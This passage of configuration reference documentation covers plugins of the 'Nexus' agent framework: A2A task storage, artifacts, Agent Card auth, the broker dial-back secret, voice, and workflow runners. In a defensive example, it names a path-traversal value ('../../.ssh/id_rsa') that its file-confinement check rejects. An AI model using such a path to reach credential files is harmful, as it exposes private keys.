Sizing. The artifact side of the store is bounded by artifacts.max_task_bytes x tasks.max_per_context, which at the shipped defaults is 1 MiB x 200200 MiB in the worst case where every retained task saturates its artifact budget. No ordinary session approaches that — a turn’s artifacts are the tool outputs it actually produced — but the product is stated rather than implied, so an operator who cannot afford the worst case lowers one of the two knobs by arithmetic instead of by guesswork. See Artifacts.

input_timeout is not retention — it is a liveness bound, and it defaults to a non-zero value for a reason worth stating. A parked task is not idle: the turn that asked the question is blocked inside ask_user, holding this listener’s single active-task slot and the process’s one agent loop, so a question nobody answers pins the whole instance. 15 minutes is measured against a human, not a machine — long enough for someone to be paged, read the question and reply, short enough that an abandoned question frees the instance within one coffee break. Set "0s" only if a task parked until the process exits is genuinely what you want.

plugins:
  nexus.io.a2a:
    tasks:
      ttl: 72h
      max_per_context: 50
      input_timeout: 5m

Artifacts

A2A puts task output in artifacts and conversation in messages (§3.7). Four things a Nexus turn produces are output by that reading, and all four are published without an operator enabling anything:

ArtifactartifactIdContents
The turn’s answer<taskId>-responseA text Part. Plus an application/json Part when the answer is a JSON document (one surrounding markdown fence is unwrapped first), so structured output is a document rather than a string a client has to re-parse. When an llm.request declared a json_schema, the artifact’s metadata names it under nexus.output.schema.
One per tool result<taskId>-tool-<callId>A text Part with the tool’s output (or its error, flagged nexus.tool.failed), plus an application/json Part when the tool produced structured output. Metadata carries nexus.tool.name and nexus.tool.callId.
One per written file<taskId>-file-<path>The file’s bytes as an inline base64 raw Part with its filename and media type — or a metadata note when the file is over the cap.
The suppression notice<taskId>-artifacts-truncatedPresent only when the task spent its artifact budget; says how many artifacts were withheld.

Tool results are artifacts unconditionally. There is no key to turn them off, deliberately: an interop transport whose observability depends on the operator having enabled it is one a partner cannot rely on. The volume that buys is answered by the caps below rather than by a flag.

A human-in-the-loop question is not an artifact. It rides the INPUT_REQUIRED status message and the task’s message history, which is where a request for input belongs — putting it in the output channel as well would count one event twice.

File detection is tool.result-based, and is incomplete by design. A file is published only when a tool reports having written it: through the engine’s own ToolResult.OutputFile field (honoured for every tool), or through a structured-output key named by artifacts.file_sources. Snapshot-diffing the session workspace is out of scope, so a write by an uninstrumented path is missed — a shell command redirecting into a file reports stdout and an exit code and nothing about the file, so nothing is published for it. nexus.tool.shell therefore has no default rule; an operator whose shell wrapper does report a written path adds one to file_sources.

Every reported path is resolved against artifacts.file_base_dir and confined to it, symlinks followed. A path that escapes is dropped rather than clamped: a tool reporting ../../.ssh/id_rsa is either broken or hostile, and inlining what it named into a response that leaves the process cannot be walked back.

configuration.acceptedOutputModes is honoured, not merely validated: a request naming only text media types gets no application/json Part and no inline file contents. The files are still reported, as the same metadata note an oversized file gets, so the client learns they exist.

KeyTypeDefaultDescription
artifacts.max_file_bytesint (bytes)262144Largest file whose contents are inlined as a base64 raw Part. A larger file degrades to a metadata note naming the file, its size and the cap — never a silent drop and never an unbounded inline. 0 means no file is ever inlined; every detected file becomes a note. Inline content is base64 in JSON, so it costs roughly a third more on the wire than on disk. Must not be negative.
artifacts.max_tool_output_bytesint (bytes)16384Largest tool-result text carried on a tool-result artifact. Longer output is truncated on a rune boundary with a note saying how much was shown, and the artifact is flagged nexus.artifact.truncated. 0 disables the cap. Must not be negative.
artifacts.max_task_bytesint (bytes)1048576One task’s total artifact budget, counting every artifact except the final response — which is the turn’s answer and is never suppressed. When the budget is spent, further artifacts are suppressed and one notice artifact records how many. 0 disables the budget, which makes the store’s artifact growth unbounded. Must not be negative.
artifacts.file_base_dirstring (path)(the session’s files/ directory)Directory that reported file paths are resolved against and confined to. Expanded through engine.ExpandPath, so ~ works. Set it to match nexus.tool.fileio’s base_dir if you moved that. With no session and no value set, file artifacts are disabled: there is no safe base to resolve a relative path against.
artifacts.file_sourcesmap<string, string or list<string>>{write_file: [path]}Which structured-output keys of which tools carry the paths those tools wrote. The default matches nexus.tool.fileio’s write_file. Setting this key replaces the default wholesale rather than merging with it. ToolResult.OutputFile is always honoured on top of it, for every tool.

The caps are load-bearing rather than tuning. Unconditional tool-result artifacts, times inline base64 file parts, times a disk-persisted store, is an unbounded product; these three caps are what make it a bounded one. Per artifact it is max_file_bytes / max_tool_output_bytes; per task it is max_task_bytes; per store it is max_task_bytes x tasks.max_per_context.

plugins:
  nexus.io.a2a:
    artifacts:
      max_file_bytes: 1048576
      max_tool_output_bytes: 8192
      max_task_bytes: 4194304
      file_base_dir: "~/agent-workspace"
      file_sources:
        write_file: [path]
        render_report: [output_path]

The Nexus extension

Thinking steps, tool calls, subagent progress and token counts have no canonical A2A field. They ride the Nexus extension instead, whose URI is

https://github.com/frankbardon/nexus/a2a/extensions/agent-events/v1

There is no configuration for it: it is declared in the Agent Card under capabilities.extensions for the same reason the capability booleans are derived, and it is never required — everything it carries is supplementary, so a client that ignores it still receives a complete canonical stream.

Nexus eventExtension event kindPayload
thinking.stepthinkingThe reasoning text and its index within the turn.
tool.invoketool_callThe call id, tool name and the JSON arguments the model produced.
tool.resulttool_resultThe call id, tool name, output (capped by artifacts.max_tool_output_bytes) and error.
subagent.started / .iteration / .completesubagentThe spawn id, phase, iteration and detail. A subagent that reported an error is phase failed.
llm.responseusagePer-call token accounting: input, output, cached, reasoning and total. Reported for every response including the intermediate tool-calling ones, so the turn’s cost is the sum rather than the last call.

The carrier is TaskStatusUpdateEvent.metadata, keyed by the extension URI. The status those frames carry is the task’s current state, not a hard-coded WORKING: a telemetry frame emitted while the task is parked at INPUT_REQUIRED must not tell a client the task went back to work.

Opt-in is per request and is honoured by not sending. A client asks with the A2A-Extensions service parameter:

curl -sN localhost:8091/a2a \
  -H 'A2A-Version: 1.0' \
  -H 'A2A-Extensions: https://github.com/frankbardon/nexus/a2a/extensions/agent-events/v1' \
  -d '{"jsonrpc":"2.0","id":1,"method":"SendStreamingMessage","params":{…}}'

The response echoes A2A-Extensions with the extensions that were actually activated, so a client asking for several can tell which it got; an extension this agent does not speak produces no echo and no error. A client that asked for nothing receives a stream with no extension metadata on it at all.

Telemetry is not persisted. It is the one frame class that does not go through the task store’s write-through path. A stored telemetry frame would land in the status history as a WORKING transition, so GetTask would replay a turn’s reasoning as state changes the task never made — and a long turn would fill the history table with them. GetTask and SubscribeToTask’s opening snapshot therefore carry the canonical task only; telemetry is a live signal on an attached stream.

Reading tasks

GetTask, ListTasks and SubscribeToTask answer from the store above. There is no configuration for any of them; the behaviour below is fixed.

OperationJSON-RPCREST
GetTaskparams: {id, historyLength?}GET <rest_prefix>/tasks/{id}?historyLength=
ListTasksparams: {contextId?, status?, pageSize?, pageToken?, historyLength?, statusTimestampAfter?, includeArtifacts?}GET <rest_prefix>/tasks?… (§11.5 camelCase query parameters)
SubscribeToTaskparams: {id} → SSEPOST <rest_prefix>/tasks/{id}:subscribe → SSE
  • History is the trail of message references the store retained, rendered as text messages stamped with their task and context — not a replay of memory.history. §3.7 leaves it to the server which messages are persisted, so a bounded reference trail is a conforming history. historyLength unset keeps everything retained, 0 omits history, and N keeps the most recent N messages.
  • ListTasks pagination defaults to a page size of 50 and is bounded to 1–100 (§3.2). nextPageToken is an opaque keyset cursor over (created_at, rowid), not an offset, so a task created or evicted mid-walk cannot make a client skip or repeat a row. A token this server did not mint is an InvalidParamsError, not a silent restart. totalSize is counted under the identical filters, so it counts the same set the client is paging through.
  • includeArtifacts defaults to false, per §3.2, so a page stays small; GetTask always returns artifacts. History has no such default in the specification and is therefore included in a listing unless the request caps it — pass historyLength: 0 for a compact page.
  • SubscribeToTask always opens with the task’s current state. A live task then streams the same frames every other attached stream receives — several clients may follow one task and all see an identical sequence from the point they joined. An already-terminal task yields its terminal snapshot and the stream closes immediately. A task that is neither (one this process was serving when it last stopped) gets its snapshot and then a close, since nothing will ever update it again — though after a restart such a task is settled at FAILED when the store opens, so the snapshot names a real ending.
  • Ownership is not enumerable. Every read goes through the store’s principal-scoped view, so a task belonging to another principal answers exactly as an unknown id does: the same TaskNotFoundError, the same HTTP 404, the same body, from the same single lookup. A distinct “exists but is not yours” answer would be an existence oracle for ids the caller was never told.

contextId and the Nexus session

An A2A context is a conversation and so is a Nexus session, so contextId maps onto the session — but a Nexus process owns exactly one session, fixed at boot, and there is no bus primitive that starts a second one or resets history. The binding follows from that:

  • The first call claims the session. A client that names no contextId is assigned the session id and gets it back on the Task, so it can keep using it.
  • Later calls naming the same context continue the conversation, with history intact — memory.history persists across turns within a session.
  • A different contextId is refused with UnsupportedOperationError naming the bound context. Accepting it would hand the caller a conversation already carrying another context’s history while calling it new. Run one instance per context; the session broker automates exactly that.

Agent Card content

card: is the hand-authored half of the discovery document.

KeyTypeDefaultDescription
card.namestring(required)Human-readable agent name.
card.descriptionstring(required)What the agent does. Required by the A2A specification, so it is always serialized.
card.versionstring(required)The agent’s own version, independent of the A2A protocol version.
card.documentation_urlstring(empty)URL of human-readable documentation.
card.icon_urlstring(empty)URL of an icon representing the agent.
card.provider.organizationstring(required when provider is set)The operating organization’s name.
card.provider.urlstring(empty)The provider’s website.
card.default_input_modesstring or list(empty)Media types the agent accepts when a skill does not narrow them, e.g. text/plain.
card.default_output_modesstring or list(empty)Media types the agent produces when a skill does not narrow them.
card.skillslist(required, ≥1)What the agent advertises it can do.
card.skills[].idstring(required)Unique skill id within the card.
card.skills[].namestring(required)Human-readable skill name.
card.skills[].descriptionstring(required)What the skill does.
card.skills[].tagsstring or list(empty)Keywords for discovery and filtering.
card.skills[].examplesstring or list(empty)Sample prompts that exercise the skill.
card.skills[].input_modesstring or list(empty)Narrows default_input_modes for this skill.
card.skills[].output_modesstring or list(empty)Narrows default_output_modes for this skill.

Skills are deliberately hand-authored — they are not derived from nexus.skills or the tool catalog. The card is a public contract: an internal catalog churns with every plugin an operator enables, and a discovery document that churned with it would both leak internal structure and break clients that keyed off it.

There are no keys for supportedInterfaces, capabilities, securitySchemes or securityRequirements, and there never will be. Those describe what the listener actually does, so they are derived and overwrite whatever the card source carried — including a complete card_file document. A card naming a URL nothing is bound to, a capability nothing implements, or a scheme nothing enforces is worse than no card: it is a confident wrong answer. Concretely:

  • supportedInterfaces is [{public_url + jsonrpc_path, JSONRPC, 1.0}, {public_url + rest_prefix, HTTP+JSON, 1.0}], in that preference order.
  • capabilities.streaming / pushNotifications / extendedAgentCard are computed from the set of operations the plugin actually implements.
  • securitySchemes / securityRequirements come from the validator chain.

The card is rendered and validated at boot: a card that could not be served fails the process start, not the first partner’s request. It is served with an ETag (a hash of the card content, so an edit that does not bump card.version still invalidates a cache) and Cache-Control: public, max-age=300, per specification §8.6.1; If-None-Match yields 304.

Agent Card security schemes

The card’s securitySchemes and securityRequirements are derived from the configured validators, so what a client is told to present is what the chain enforces. One validator becomes one named scheme plus one requirement entry; the scheme name is the chain-order name nexusauth already assigned (static, jwks, jwks#2), so the card and the boot log name the same thing.

Validator typeScheme published
static (and the desugared bearer_token)httpAuthSecurityScheme with scheme: Bearer.
jwkshttpAuthSecurityScheme with scheme: Bearer, bearerFormat: JWT; the description names the configured issuer and audience so a client knows where to obtain a token.
introspecthttpAuthSecurityScheme with scheme: Bearer and no bearerFormat — an introspected token is opaque by construction.
proxy_headersNothing. This validator accepts no client credential: it honours an identity a trusted fronting proxy already established and refuses those headers from anyone outside the CIDR allowlist. Publishing a scheme would instruct clients to send a header guaranteed to be ignored, or invite them to assert an identity directly. Auth is still enforced.

Requirements are emitted as separate entries rather than one entry naming every scheme, because that is the accurate translation of a nexusauth.Chain: the chain is first-success, so satisfying any validator suffices, and A2A spells “any of these alternatives” as separate members of the securityRequirements array. With no validators configured the card carries no securitySchemes at all, which is the honest document for a listener that admits everyone — and is why the bind address defaults to loopback.

Agent Card auth posture

GET /.well-known/agent-card.json is unauthenticated by default, even when every operation is guarded.

Specification §8.2 makes the well-known URI a pre-authentication bootstrap step: a client fetches the card precisely to discover which credentials to obtain (§7.3, step 1), so gating it behind those same credentials is circular and breaks every conforming client. The specification’s answer for a card that must stay private is a separate authenticated document behind GetExtendedAgentCard (§6.9), which this plugin does not implement and honestly declares as false.

The counter-argument is real, and is why card_requires_auth exists: this card names a private agent, and its description, skills and examples may describe capability an operator would rather not publish. Two things answer it. First, the listener binds loopback by default, so the “public” document is not reachable from anywhere the operator did not deliberately open. Second, the card’s contents are hand-authored for exactly this reason — nothing is derived from the tool catalog, so what the card reveals is what an operator chose to reveal.

An operator who moves bind off loopback and still needs the card private sets card_requires_auth: true and distributes the document out-of-band, which §8.2 explicitly sanctions (“Direct Configuration”). That is a real trade — it makes the agent undiscoverable to clients that have not already been told about it — so it is opt-in, not the default.

OPTIONS preflight on every route is never authenticated: a browser does not attach Authorization to a preflight.

A2A version negotiation

Specification §3.6.2 says an agent MUST interpret an empty A2A-Version as 0.3. pkg/a2a implements that literally, and since the codec speaks only 1.0, the literal reading turns every header-less request into a VersionNotSupportedError. That rule exists to protect clients that predate the parameter — an agent that used to serve 0.3 must not silently reinterpret an old client’s requests under new semantics.

This listener has no such client to protect, so the default is the lenient reading:

strict_version_headerAbsent A2A-Version is read asEffect
false (default)1.0The request is processed. Every response carries A2A-Version: 1.0 so the client can see what it was processed as rather than infer it.
true0.3The literal §3.6.2 behaviour: the request is refused with VersionNotSupportedError.

An explicit unsupported version (A2A-Version: 0.3) is refused under both settings — the policy only governs absence. The parameter may also ride a query parameter (?A2A-Version=1.0), which §3.6.1 permits.

Set strict_version_header: true for a conformance harness, or for a deployment that will later front a 0.3 interface from the same origin.

Error envelopes

Each binding answers in its own shape, so a client parses one format per endpoint:

ConditionJSON-RPC bindingREST binding
Protocol error (bad params, unknown method, unsupported operation, unsupported version)HTTP 200 with a JSON-RPC error object carrying the A2A code (-32602, -32601, -32004, -32009, …) and the request id echoed. 200 is the JSON-RPC contract: the outcome rides the body.The §11.6 google.rpc.Status body with the A2A error’s mapped HTTP status and a google.rpc.ErrorInfo detail (domain: a2a-protocol.org).
Authentication / authorization refusalHTTP 401/403/503 plus a JSON-RPC error object with code -32000 and an ErrorInfo detail (domain: nexus.io.a2a).The same google.rpc.Status shape with status UNAUTHENTICATED / PERMISSION_DENIED / UNAVAILABLE.
Unknown path under rest_prefix404 with MethodNotFoundError.
Known path, wrong verb405 with an Allow header naming the verb that would have worked.

A2A defines no authentication error in its taxonomy: §3.3.2 names “HTTP 401 Unauthorized, gRPC UNAUTHENTICATED, JSON-RPC custom error”, leaving the code to the implementation. -32000 is the one value in JSON-RPC 2.0’s implementation-defined server-error range that A2A does not claim for itself (A2A reserves -32001-32099), so it cannot collide with a protocol error a client already knows how to interpret. The HTTP status stays the authoritative signal; the body exists so a client that only parses envelopes still gets a well-formed one. The RFC 6750 WWW-Authenticate challenge and the Retry-After on 503 follow the same status mapping nexus.io.agui and the broker use — the denial kinds are the shared package’s transport contract, and one deployment should not answer the same refusal three different ways.

Example

plugins:
  nexus.io.a2a:
    bind: "0.0.0.0:8091"
    public_url: "https://agent.example.com"
    bearer_token_env: NEXUS_A2A_TOKEN
    cors_origins: ["https://console.example.com"]
    card:
      name: "Nexus Research Agent"
      description: "Runs research turns with web search and file tools."
      version: "1.2.0"
      documentation_url: "https://example.com/docs/agent"
      provider:
        organization: "Example Inc."
        url: "https://example.com"
      default_input_modes: ["text/plain"]
      default_output_modes: ["text/plain"]
      skills:
        - id: research
          name: "Research a topic"
          description: "Searches the web and summarizes findings with citations."
          tags: ["research", "search", "summarization"]
          examples:
            - "Summarize the last three papers on retrieval-augmented generation."

nexus.io.realtime

Source: plugins/io/realtime/plugin.go. WebSocket bidirectional transport for low-latency clients (browser front-ends, native voice clients) that want raw stream.delta deltas, tool previews, voice audio chunks, and cancel envelopes without going through the nexus.io.browser UI hub.

KeyTypeDefaultDescription
listen_addrstring:7676TCP address the WebSocket server binds to.
pathstring/wsURL path the WebSocket handler is mounted at.
max_clientsint16Concurrent connection cap. New dials past the cap receive HTTP 503.

Outbound envelopes (server → client, JSON): stream.delta, stream.end, tool.preview, audio.chunk, cancel.complete, hitl.request.

Inbound envelopes (client → server, JSON): input, audio.chunk, cancel, approval.

No auth in v1. Origin checks and bearer-token validation are tracked follow-ups; operators running this on a public network must front it with a reverse proxy that does its own authentication.

nexus.io.broker

Source: plugins/io/broker/plugin.go. Dial-back IO transport for Nexus instances spawned by the session broker (cmd/nexus-broker). Unlike nexus.io.browser / nexus.io.realtime, which LISTEN, this plugin DIALS OUT to the broker’s instance gateway over WebSocket — the broker is the only listening socket. On Ready it dials broker_addr, sends a register frame keyed by lease_id, announces readiness, and reports the engine session id (for later -recall resume) before bridging IO frames in both directions.

Config keys fall back to environment variables the broker injects at spawn, so operators normally set neither by hand:

KeyTypeDefaultDescription
broker_addrstring$NEXUS_BROKER_ADDRWebSocket URL of the broker’s instance dial-back endpoint (e.g. ws://127.0.0.1:8080/instance). Falls back to the NEXUS_BROKER_ADDR env var. When empty the plugin stays dormant (no dial).
lease_idstring$NEXUS_BROKER_LEASE_IDLease id assigned by the broker at spawn; echoed in the register frame. Falls back to the NEXUS_BROKER_LEASE_ID env var. When empty the plugin stays dormant.
spawn_secretstring$NEXUS_BROKER_SPAWN_SECRETPer-spawn secret the broker generates for this instance and injects at exec; echoed in the register frame alongside lease_id. Falls back to the NEXUS_BROKER_SPAWN_SECRET env var. Empty does not make the plugin dormant — it dials and is refused. Every broker requires it, with or without an auth: block.

The spawn_secret is a second factor for the dial-back socket. The lease id alone is a poor authenticator for it: the same value appears in ws_urls, client requests and logs, so anything that observes one could otherwise impersonate an instance. The broker records the expected value on the lease and injects it through the environment (never argv, which is world-readable). Both the lease id and the secret must match or the dial-back is closed with the same policy-violation close an unknown lease gets.

How the broker produces the value depends on whether it keeps state — the plugin echoes whatever it was handed either way. With no state_dir it is 128 bits of crypto/rand per spawn, held only in memory. With a state_dir it is derived as HMAC-SHA256(<state_dir>/spawn-key, lease_id), so a restarted broker can recompute the value a surviving instance still holds; the secret itself is still never written to disk. See Restart recovery.

Enforcement on the broker side is unconditional: every register frame must carry the secret, with or without an auth: block, on a freshly claimed lease or on one restored after a broker restart. It used to be gated on auth:, which meant an unauthenticated broker authenticated its dial-back socket with a lease id alone — a value that travels in ws_urls, client requests and logs. A nexus build that predates the protocol is therefore now refused everywhere, and removing the auth: block is no longer a workaround; upgrade the binary the binary registry entry points at. The value is never logged and never appears in GET /leases. See Instance dial-back authentication.

Outbound IO messages (instance → broker → client, JSON inside the frame payload): output, stream.delta, stream.end, status, approval.request, hitl.request, cancel.complete.

Inbound IO messages (client → broker → instance): input, approval.response, hitl.response, cancel.

The connection reconnects with exponential backoff until shutdown. On an inbound shutdown frame (sent by the broker for POST /release and later idle/crash teardown) the plugin emits io.session.end, which drives a clean engine Stop that flushes and persists the session before the process exits; the reconnect loop is latched off so the graceful teardown is not undone. There is no auth in the plugin itself — the broker gateway owns lease validation and any transport-level authentication.

nexus.io.voice

Source: plugins/io/voice/plugin.go. Bus-driven voice IO bridge: consumes voice.audio.input.chunk events (typically from nexus.io.realtime), runs simple energy-based VAD plus ASR via the OpenAI Whisper API, and emits io.input. Consumes llm.response, runs TTS via the OpenAI /audio/speech endpoint, and emits voice.audio.output.chunk frames back. Implements barge-in: a speech-energy input chunk arriving while a TTS turn is in flight emits cancel.request{Source: "voice"}.

Local-model providers (local_whisper, faster_whisper, distil_whisper for ASR; kokoro, local_*, *_local for TTS) are recognized by the schema but rejected at Init with a clear error pointing at issue #92, where the local-model bootstrapping work is tracked separately.

KeyTypeDefaultDescription
asr.providerstringopenai_whisperOnly openai_whisper is wired in this PR. Local-model values rejected pending #92.
asr.api_key_envstringOPENAI_API_KEYEnv var that holds the API key.
asr.api_keystring(none)Inline API key. Overrides api_key_env.
asr.modelstringwhisper-1Whisper model id.
asr.endpointstringOpenAI defaultOverride URL for the transcription endpoint (test injection).
tts.providerstringopenaiOnly openai is wired in this PR. Local-model values rejected pending #92.
tts.api_key_envstringOPENAI_API_KEYEnv var that holds the API key.
tts.api_keystring(none)Inline API key. Overrides api_key_env.
tts.modelstringtts-1TTS model id.
tts.voicestringalloyVoice preset id.
tts.streamingbooltrueAlways true in v1; reserved for future non-streaming mode.
tts.endpointstringOpenAI defaultOverride URL for the speech endpoint (test injection).
tts.chunk_bytesint8192Frame size in bytes for emitted output chunks.
vad.thresholdnumber0.02RMS energy threshold (normalized 0..1) above which the buffer is considered speech.
vad.silence_msinteger600Milliseconds of below-threshold audio that triggers an utterance flush.
barge_in.enabledbooltrueCancel an in-flight TTS turn when new speech is detected.
barge_in.thresholdnumbervad.thresholdRMS threshold above which an incoming chunk is treated as barge-in.
text_fallbackbooltrueAllow io.input from non-voice transports to flow through unchanged.

VAD energy is computed as RMS over little-endian PCM int16 samples for audio/wav / audio/pcm / audio/l16. For compressed containers (webm/opus, mpeg/mp3) the bytes are not PCM and we fall back to a byte-level energy heuristic until a proper decode is added — flagged with a TODO(#91) in plugins/io/voice/vad.go.

nexus.io.test

Source: plugins/io/test/plugin.go. Non-interactive testing transport.

KeyTypeDefaultDescription
inputslist(empty)Scripted user inputs (fed sequentially).
input_delayduration500msDelay between inputs.
approval_modestringapproveapprove, deny, per-prompt.
approval_ruleslist(empty)Per-prompt rules: each `{match: , action: <approve
hitl_responseslist(empty)Scripted answers to hitl.requested events. Bare strings are treated as free_text; {choice_id: ..., free_text: ...} maps populate the corresponding response fields.
hitl_auto_respondbooltrueWhether hitl.requested is answered automatically (the next hitl_responses entry, else the request’s default_choice_id, else an empty answer). Set false to leave a question genuinely unanswered so something else owns the answer — another transport, or another engine, as in the A2A loopback. The event is still collected either way.
mock_responseslist(empty)Synthetic LLM responses. Each {content, tool_calls: [{name, arguments}]}. When set, the plugin vetoes real llm.request events.
timeoutduration60sSession timeout.
read_stdinbooltrueRead stdin when no other input source is available.

nexus.io.wails

Source: plugins/io/wails/plugin.go. Wails-native transport. The runtime is installed by the embedder via Hub().SetRuntime() before engine.Boot; this plugin only configures event bridging.

KeyTypeDefaultDescription
subscribelist(empty)Event types to bridge bus → frontend. Empty triggers legacy hardcoded chat-event subscriptions for parity with nexus.io.browser.
acceptlist(empty)Event types accepted from the frontend → bus.

nexus.io.oneshot

Source: plugins/io/oneshot/plugin.go. Scripting/batch mode with JSON transcript output.

KeyTypeDefaultDescription
inputstring(none)Inline prompt (lowest precedence).
input_filestring(none)Path to a prompt file.
output_filestring(none)Path to write the JSON transcript.
prettybooltruePretty-print JSON output.
read_stdinbooltrueRead stdin when available.

Prompt resolution precedence: NEXUS_ONESHOT_PROMPT env > input > input_file

stdin.

Native Realtime API integration — deferred

OpenAI Realtime and Gemini Multimodal Live are entire new wire protocols separate from the standard chat/generate endpoints. They are not part of the multimodal-foundation PR (#93) and are tracked as a follow-up under issue #91. Until they land, voice-mode use the ASR → LLM → TTS pipeline implemented in plugins/io/voice/. See Native Realtime API integration — deferred for the full rationale and follow-up scope.


Observers

nexus.observe.thinking

Source: plugins/observe/thinking/plugin.go. No configuration. Marker plugin: presence in plugins.active lets terminal and browser shells enable thinking-related UI. The events themselves are journaled automatically and can be read live via journal.Writer.SubscribeProjection or post-mortem via journal.ProjectFile.

nexus.observe.otel

Source: plugins/observe/otel/plugin.go. OTLP exporter (one root span per session, one span per event).

KeyTypeDefaultDescription
endpointstring(none)OTLP endpoint, e.g. http://localhost:4317.
protocolstringgrpcgrpc or http/protobuf.
service_namestringnexusOpenTelemetry service name.
exclude_eventslist(empty)Event types to skip; supports prefix wildcards (llm.stream.*).

nexus.observe.sampler

Source: plugins/observe/sampler/plugin.go. Off by default. Captures a fraction of live session journals (and every failed session when failure_capture is on) into a local directory so the eval pipeline can score them later. The plugin must be both registered (it is — automatically via pkg/engine/allplugins) and listed in plugins.active and configured with enabled: true for any capture to happen. Omitting the config block, or setting enabled: false, makes the plugin a no-op: Subscriptions() returns empty, no bus traffic, no disk writes.

plugins:
  active:
    - nexus.observe.sampler

  nexus.observe.sampler:
    enabled: false
    rate: 0.0
    failure_capture: true
    out_dir: ~/.nexus/eval/samples
KeyTypeDefaultDescription
enabledboolfalseMaster switch. When false, the plugin draws no bus traffic and writes no files even if it appears in plugins.active.
ratefloat0.0Fraction of normal sessions captured at io.session.end, in [0, 1]. 0.0 disables rate sampling; 1.0 captures every session. Validated at Init; out-of-range values fail boot when enabled: true.
failure_capturebooltrueWhen true, sessions whose metadata/session.json status is anything other than active or completed are captured regardless of rate. Use false to disable failure capture entirely.
out_dirstring~/.nexus/eval/samplesDirectory where samples land. Path expansion via engine.ExpandPath. Each sample is written to <out_dir>/<session-id>/journal/ plus a <out_dir>/<session-id>/metadata.json sibling.

The plugin emits an eval.candidate event per capture (payload defined in plugins/observe/sampler/events.go) so downstream tooling — for example, nexus eval list-candidates once it lands — can enumerate fresh samples.

The pluggable Redactor interface (plugins/observe/sampler/redact.go) is the hook for future PII scrubbing. v1 ships only the IdentityRedactor (byte-pass-through). Tests inject custom redactors via the package-private Plugin.SetRedactor API; production runs leave it on the default.

Caveat: rotated journal segments. When a non-identity redactor is configured, the active events.jsonl segment is rewritten line-by-line through it. Compressed *.jsonl.zst rotated segments are byte-copied as-is in v1 — handling them transparently requires zstd round-trips that are deferred to a follow-up.


Planners

nexus.planner.dynamic

Source: plugins/planners/dynamic/plugin.go.

KeyTypeDefaultDescription
approvalstringautoalways (block until user approves), never (auto-execute), auto (LLM decides).
plan_promptstring(default)Inline planning prompt.
plan_prompt_filestring(none)Path to a planning prompt file.
model_rolestring(default)Role used for plan generation.
modelstring(none)Explicit model ID (backward-compat; prefer model_role).
max_stepsint10Hard cap; excess steps from the LLM are truncated.

nexus.planner.static

Source: plugins/planners/static/plugin.go. Approval auto-defaults to never (static plans don’t call an LLM).

KeyTypeDefaultDescription
approvalstringneveralways or never.
summarystringStatic execution planFree-form plan summary.
stepslist(required)Step list.
steps[].descriptionstring(required)Step description.
steps[].instructionsstring(none)Step-specific instructions.

Workflows

Generic workflow surface

Workflow plugins (currently nexus.workflows.icm; planned to extend to other multi-stage runners) emit a workflow-agnostic event class so IO plugins can render a dedicated progress surface (a sticky panel in the TUI right rail; a status indicator chip in the browser) without subscribing to plugin-specific event taxonomies.

Event: workflow.progress — payload events.WorkflowProgress (pkg/events/workflow.go).

FieldTypeDescription
workflow_idstringProducer plugin instance ID (nexus.workflows.icm, nexus.workflows.icm/script, …).
workflow_namestringHuman-readable workflow label (workspace name for ICM).
run_idstringIdentifier for this particular run.
stage / stage_labelstringMachine ID + display label for the current stage. Empty at run start / end.
stage_index / stage_totalint1-based position in the stage sequence.
iteration / max_iterationsintLoop iteration counters. 0 when the stage is not looping.
turn / max_turnsintInner-turn counters. 0 when not tracked.
items_done / items_totalintFan-out progress. 0 when not a fan-out stage.
current_itemstringMost recently completed item ID for fan-out.
statusstringOne of started, running, iterating, item_done, completed, failed, halted.
detailstringShort free-form one-liner suitable for display.
failureslist of stringsNames of predicates whose failure prevented this iteration / turn from converging.

ICM emits workflow.progress alongside its detailed icm.* events: the icm.* family feeds scrollback audit rows; workflow.progress feeds the dedicated status surface. Future workflow plugins can emit only the generic event and inherit the same UI treatment without per-plugin subscriptions.

The TUI (nexus.io.tui) and browser (nexus.io.browser) subscribe to workflow.progress automatically when active.

nexus.workflows.icm

Source: plugins/workflows/icm/plugin.go. File-driven multi-stage workflow runner. A workspace is a folder containing operator.md, workspace.md, and a stages/ tree of contracts; each stage runs as a sub-agent dispatched via the posture registry. Multi-instance: pin distinct workspaces per instance via the nexus.workflows.icm/<suffix> form (e.g. nexus.workflows.icm/script). See docs/src/plugins/workflows-icm.md for the full plugin guide.

Requires the posture.registry capability (provided by nexus.agent.postures). Strongly recommended companions: nexus.control.hitl (human gates + judge approvals), nexus.skills (workspace skills authoring tooling).

KeyTypeDefaultDescription
workspacestring(required)Path to the ICM workspace folder. Expanded via ~. Loaded + validated at boot; load errors fail boot.
default_judge_posturestring(empty)Registered posture name used for type: llm predicates that do not name an explicit model: posture. Required when any predicate uses type: llm.
default_workflow_posturestring(empty)Optional base posture name. Stages without an agent.posture: inherit Model / AllowedTools / Budget / MaxRecursionDepth from this posture before applying stage-level overrides.
cache_sizeint0Per-run delegate cache capacity. 0 disables caching (recommended — ICM stages typically have tool side effects + predicate retries that make cross-run caching hostile).
inline_artifact_limit_bytesint32768Maximum size for inlining an artifact body into the XML payload. Above this threshold ICM emits <artifact_ref/> and the LLM uses read_file.
loop_max_restartsint3Per-stage cap on loop.on_exhausted: human_gate restart choices. 0 = unlimited. Prevents infinite restart cycles when a workspace cannot converge.
input_filenamestringinput.txtFilename written into <runID>/00_input/ when io.input carries direct content (not a file path).
treat_input_as_path_if_existsbooltrueWhen true, io.input.Content is interpreted as a file path if os.Stat succeeds and the file is copied into 00_input/; otherwise the content is written verbatim.
workspace_inputs_dirstring(empty)Optional directory whose regular files are copied into <runID>/00_input/ at run start, before io.input content is processed. Useful for static fixtures.
auto_include_skill_reference_toolbooltrueWhen true, ICM automatically appends the read_skill_reference[_<suffix>] tool to each derived stage posture whose contract declares inputs.skills. Set false to require explicit listing in agent.tools.
predicate_command_timeout_secondsint30Default timeout for type: command predicates when neither the predicate nor the stage budget specifies one.
emit_progress_thinking_stepsbooltrueWhen true, ICM emits thinking.step events with Phase="icm.<stage_id>" so UIs that render thinking surfaces show inline stage transitions.

Events

Subscribes:

  • io.input — entry point. Each input begins a new workflow run.
  • hitl.responded — resumes a run paused at a human gate or type: human predicate.

Emits (workflow lifecycle):

  • icm.run.started / icm.run.completed / icm.run.halted — overall run boundaries.
  • icm.stage.started / icm.stage.completed / icm.stage.failed — per-stage transitions.
  • icm.stage.iteration — fires once per loop iteration with the prior iteration’s exit_failures.
  • icm.turn — fires once per inner turn with the turn’s validator failures.
  • icm.fanout.item — per-item lifecycle in a fan-out stage (active, completed, failed).
  • icm.predicate.failed — fires for every predicate evaluation whose verdict is fail.
